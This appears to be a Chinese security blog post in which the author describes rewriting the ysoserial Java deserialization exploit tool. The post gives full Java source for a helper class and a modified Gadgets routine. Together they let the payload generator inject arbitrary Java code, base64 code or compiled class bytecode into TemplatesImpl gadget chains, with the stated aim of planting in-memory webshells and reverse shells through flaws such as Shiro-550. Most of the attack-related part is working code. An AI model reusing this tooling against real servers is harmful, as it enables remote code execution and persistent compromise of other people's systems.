
ysoserial 改写心得
0x01 前言
终于还是要对这玩意儿动手了啊,自己打算从 0.9 到 1 完成改写,不看其他师傅的文章,进行独立分析。(最后还是参考了哈哈哈,我太菜了)
0x02 结构/代码分析

几个文件夹,先看 payloads
- payloads 文件夹
payloads 文件夹里面是我们平常写的 EXP,运行如图

并且它会打印如下语句

这里的 calc.exe
实际上是因为在 ysoserial.payloads.util
的 PayloadRunner 类中的 getDefaultTestCmd
方法,定义了最开始的值。

- util 文件夹
里面都是一些工具类,比如在 Gadgets
类里面,有创建字节码,创建动态代理的方法。

- Annotation 文件夹
里面是一些声明,比如 Authors 这些
- exploit 文件夹
里面放了一些直接调用的 EXP
- 文件夹外的几个类
GeneratePayload.java
生成 poc 的入口函数Deserializer.java
反序列化模块Serializer.java
序列化模块Strings.java
字符处理模块
0x03 改写 yso 的出发点
改写
1、将原本的命令执行 payload 变成写入内存马。
2、解决 shiro550 serializeID 不一样的问题。
首先在 Gadgets 类里面,有这么一段话
TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

此处本身是命令执行的方式 Runtime.getRuntime.exec("cmd")
,这一定并非是我们最想要的,所以要将其进行改写,把命令执行的方式改成执行代码块的方式,先从简单的弹 shell 开始,到后面打内存马。
参考 c0ny1 师傅的文章 http://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/
我这边添加了四种方式
序号 | 方式 | 描述 |
---|---|---|
1 | “code:代码内容” | 代码量比较少时采用 |
2 | “codebase64:代码内容base64编码” | 防止代码中存在但引号,双引号,&等字符与控制台命令冲突。 |
3 | “codefile:代码文件路径” | 代码量比较多时采用 |
4 | “classfile:class路径“ | 利用已生成好的 class 直接获取其字节码 |
通过在输入的 command 前添加前缀,根据不同前缀进行不同的处理方式
这其中 code codebase codefile 前缀的都是插入代码,然后动态生成 templates
classfile 则是直接读取 class 文件中的字节码动态生成 templates(感觉实际情况里面用到这种相当多)
所以其实 ysoserial 的初步改写就是去改写这一段内容,进行 cmd 的不同程度的利用即可。
先写一个 CmdUtils,用来处理字节码,以及 .class
类型的文件
package ysoserial.payloads.util;
import java.io.*;
public class CmdUtils {
public static String readStringFromInputStream(InputStream inputStream) throws Exception{
StringBuilder stringBuilder = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0;
while ((n=inputStream.read(bytes)) != -1){
stringBuilder.append(new String(bytes,0,n));
}
return stringBuilder.toString();
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
public static byte[] readClassByte(String filename) throws IOException{
File f = new File(filename);
if (!f.exists()) {
throw new FileNotFoundException(filename);
}
ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());
BufferedInputStream in = null;
try {
in = new BufferedInputStream(new FileInputStream(f));
int buf_size = 1024;
byte[] buffer = new byte[buf_size];
int len = 0;
while (-1 != (len = in.read(buffer, 0, buf_size))) {
bos.write(buffer, 0, len);
}
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
throw e;
} finally {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
bos.close();
}
}
public static String getCodeFile(String codefile) {
try{
File file = new File(codefile);
if (file.exists()){
FileReader reader = new FileReader(file);
BufferedReader bufferedReader = new BufferedReader(reader);
StringBuilder sb = new StringBuilder("");
String line = "";
while ((line=bufferedReader.readLine()) != null){
sb.append(line);
sb.append("\r\n");
}
return sb.toString();
} else {
System.err.println(String.format("[-] %s is not exists!",codefile));
System.exit(0);
return null;
}
} catch (Exception e){
e.printStackTrace();
return null;
}
}
}
接着改写 Gadgets 类,增添如下代码
byte[] classBytes = null;
String cmd = "";
if (command.startsWith("code:")){
cmd = command.substring(5);
} else if (command.startsWith("codebase64:")){
byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11));
cmd = new String(decode);
} else if (command.startsWith("codefile:")){
String codefile = command.substring(9);
cmd = CmdUtils.getCodeFile(codefile);
// 指定了 class文件之后 直接读取字节码
} else if (command.startsWith("classfile:")){
String classfile = command.substring(10);
classBytes = CmdUtils.readClassByte(classfile);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
} else {
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
至此,我们基本的需求是没问题了,但是还差很多,比如 shiro550 的内存马,比如 SerialVersionID 的问题,比如 Tomcat Header 缩短的问题都亟待解决,
解决问题
Tomcat Header 的限制
这个其实好解决,可以用之前在 《Java 回显技术》一文当中的缩短 Tomcat Shiro Header 的方法,此处不再提及,还有 Y4tacker 师傅分享的缩短 Header 的方法,挂个链接,之后再看。
感觉自己开发基本功不好,暂且咕咕咕了。
- 本文标题:ysoserial 改写心得
- 创建时间:2022-12-21 17:37:47
- 本文链接:2022/12/21/ysoserial-改写心得/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!